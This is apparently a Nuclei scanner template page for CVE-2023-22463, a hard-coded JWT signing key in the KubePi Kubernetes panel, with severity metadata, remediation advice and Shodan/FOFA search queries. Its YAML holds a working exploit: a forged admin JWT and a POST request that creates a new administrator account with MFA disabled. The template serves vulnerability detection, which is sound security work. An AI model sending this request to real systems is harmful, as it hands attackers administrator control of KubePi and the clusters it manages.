CVE-2023-22463: KubePi JwtSigKey - Admin Authentication Bypass
- Template: CVE-2023-22463
- Name: KubePi JwtSigKey - Admin Authentication Bypass
- Description: KubePi is a k8s panel. The jwt authentication function of KubePi through version 1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Furthermore, they may use the administrator to take over the k8s cluster of the target enterprise. `session.go`, the use of hard-coded JwtSigKey, allows an attacker to use this value to forge jwt tokens arbitrarily. The JwtSigKey is confidential and should not be hard-coded in the code.
- Impact: Successful exploitation of this vulnerability could lead to unauthorized access and control of the Kubernetes cluster.
- Remediation: The vulnerability has been fixed in 1.6.3. In the patch, JWT key is specified in app.yml. If the user leaves it blank, a random key will be used. There are no workarounds aside from upgrading.
- Severity: critical
- Authors: DhiyaneshDK
- Tags: cve, cve2023, kubepi, k8s, auth-bypass, fit2cloud, vkev, vuln
- References: https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubePi/KubePi%20JwtSigKey%20%E7%99%BB%E9%99%86%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2023-22463.md, https://nvd.nist.gov/vuln/detail/CVE-2023-22463, https://github.com/KubeOperator/KubePi/blob/da784f5532ea2495b92708cacb32703bff3a45a3/internal/api/v1/session/session.go#L35, https://github.com/KubeOperator/KubePi/commit/3be58b8df5bc05d2343c30371dd5fcf6a9fbbf8b, https://github.com/KubeOperator/KubePi/releases/tag/v1.6.3
- Cves: CVE-2023-22463
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-22463.yaml
- Digest: 4b0a00483046022100a3599522b0a9634324b402057ee5ce84a8df475c9b63769f050a98f6e6070e67022100a388f38172394e6d8264ab42c974ca4358b5a9116b60df89faf1ed996fd9f25a
- Created at: 2023-09-15T17:01:29Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 1166
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22463.yaml
Classification
- Cwe: CWE-798
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.69667
- Epss percentile: 0.99381
- Cpe: cpe:2.3:a:fit2cloud:kubepi:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: kubepi, body="kubepi"
- Max-request: 1
- Product: kubepi
- Shodan-query: html:"kubepi", http.html:"kubepi"
- Vendor: fit2cloud
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| fit2cloud:kubepi | yes | /v1/products/fit2cloud/kubepi |
Labels
- Name: KubePi - Broken Authentication
- Impact: Attackers can forge JWT tokens to hijack admin accounts and potentially control the entire Kubernetes cluster.
- Remediation: Update to version 1.6.3 or later where the JwtSigKey is securely managed, not hard-coded.
- Vulnerability type: hardcoded_credentials
- Vulnerability impact: privilege_escalation
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-22463
- Not known: requirements
```yaml
id: CVE-2023-22463
info:
name: KubePi JwtSigKey - Admin Authentication Bypass
author: DhiyaneshDK
severity: critical
description: |
KubePi is a k8s panel. The jwt authentication function of KubePi through version 1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Furthermore, they may use the administrator to take over the k8s cluster of the target enterprise. `session.go`, the use of hard-coded JwtSigKey, allows an attacker to use this value to forge jwt tokens arbitrarily. The JwtSigKey is confidential and should not be hard-coded in the code.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access and control of the Kubernetes cluster.
remediation: The vulnerability has been fixed in 1.6.3. In the patch, JWT key is specified in app.yml. If the user leaves it blank, a random key will be used. There are no workarounds aside from upgrading.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-22463
- https://github.com/KubeOperator/KubePi/commit/3be58b8df5bc05d2343c30371dd5fcf6a9fbbf8b
- https://github.com/KubeOperator/KubePi/releases/tag/v1.6.3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-22463
cwe-id: CWE-798
epss-score: 0.69667
epss-percentile: 0.99381
cpe: cpe:2.3:a:fit2cloud:kubepi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fit2cloud
product: kubepi
shodan-query:
- html:"kubepi"
- http.html:"kubepi"
fofa-query:
- "kubepi"
- body="kubepi"
tags: cve,cve2023,kubepi,k8s,auth-bypass,fit2cloud,vkev,vuln
variables:
name: "{{rand_base(6)}}"
password: "{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
nickname: "{{rand_base(4)}}"
token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8"
http:
- raw:
- |
POST /kubepi/api/v1/users HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
{
"authenticate": {
"password": "{{password}}"
},
"email": "{{email}}",
"isAdmin": true,
"mfa": {
"enable": false
},
"name": "{{name}}",
"nickName": "{{nickname}}",
"roles": [
]
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"password":'
- '"isAdmin":'
- '"createAt":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
digest: 4b0a00483046022100a3599522b0a9634324b402057ee5ce84a8df475c9b63769f050a98f6e6070e67022100a388f38172394e6d8264ab42c974ca4358b5a9116b60df89faf1ed996fd9f25a:922c64590222798bb761d5b6d8e72950
```